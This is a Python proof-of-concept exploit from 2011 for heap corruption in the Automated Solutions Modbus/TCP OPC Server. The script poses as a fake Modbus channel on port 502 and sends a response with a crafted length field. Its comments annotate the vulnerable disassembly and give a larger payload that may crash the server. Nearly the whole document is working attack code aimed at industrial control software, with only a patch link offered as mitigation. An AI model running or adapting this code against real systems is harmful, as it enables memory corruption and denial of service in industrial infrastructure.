Automated Solutions Modbus/TCP OPC Server Heap Corruption

`#!/usr/bin/python  
# asmb-heap.py  
# Automated Solutions Modbus/TCP OPC Server Remote Heap Corruption PoC  
# Jeremy Brown [0xjbrown41-gmail-com]  
# Jan 2011  
#   
# A specially crafted length field in a MODBUS packet header can trigger heap corruption.  
#  
# 00408312 |> 8B5424 3C MOV EDX,DWORD PTR SS:[ESP+3C] -> move length into edx  
# 00408316 |. 53 PUSH EBX -> push src onto stack  
# 00408317 |. 8B5C24 3C MOV EBX,DWORD PTR SS:[ESP+3C] -> move dest into ebx   
# 0040831B |. 8BCA MOV ECX,EDX -> move length into ecx  
# 0040831D |. 55 PUSH EBP -> push ebp onto stack  
# 0040831E |. 8BE9 MOV EBP,ECX -> move ecx into ebp  
# 00408320 |. 57 PUSH EDI -> push edi onto stack  
# 00408321 |. 33C0 XOR EAX,EAX -> eax = 0  
# 00408323 |. 8BFB MOV EDI,EBX -> move dest into edi  
# 00408325 |. 895C24 1C MOV DWORD PTR SS:[ESP+1C],EBX -> move ebx into dword at esp+1c  
# 00408329 |. C1E9 02 SHR ECX,2 -> shift ecx right twice  
# 0040832C |. F3:AB REP STOS DWORD PTR ES:[EDI] -> fill ecx dwords at edi with eax  
#  
# So basically memset(edi,eax,ecx). We control ecx, so we have control over the number of dwords  
# it writes in the heap buffer. But, as you can see, the dwords themselves are not controllable,  
# they are NULL. However, we can still write past the bounds of the allocated chunk of memory.  
#  
# Although it seems unlikely code execution could result, it is still possible to write data  
# past the memory allocated on a heap (0x350000) available in the server process.  
#  
# This code works by setting up a fake channel and accepting a connection. To trigger this  
# vulnerability, the server simply needs to initiate communication (monitor mode would be ideal)  
# with this fake channel and the results depend on the response you choose.  
#  
# I tested version 3 running on Windows. Testing the server with this code and its default  
# response should't cause the server to crash (immediately anyways). Larger lengths (such as  
# the one commented out) may cause the server to crash.  
#  
# Patch: http://automatedsolutions.com/demos/demoform.asp?code=17  
#  
  
import sys  
import socket  
  
port=502  
  
# [trans] [prot] [len] [u] [f] [bc] [data]  
resp="\x00\x00"+"\x00\x00"+"\x02\x01"+"\x00"+"\x03"+"\x02"+"\x00\x00" # break @ 40832c, dump edi, keep hitting f9 and watch (debug)  
#resp="\x00\x00"+"\x00\x00"+"\x02\xb0"+"\x00"+"\x03"+"\x02"+"\x00\x00" # Heap block at 0035F2D0 modified at 0035F4E7 past requested size of 20f  
  
try:  
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
sock.bind(("",port))  
sock.listen(1)  
conn,addr=sock.accept()  
  
except IOError,e:  
print e  
  
print "OPC server at %s connected\n"%addr[0]  
  
req=conn.recv(32)  
print "<-- %s"%req.encode("hex")  
  
conn.send(resp)  
print "--> %s\n"%resp.encode("hex")  
conn.close()  
  
print "finished, check server"  
`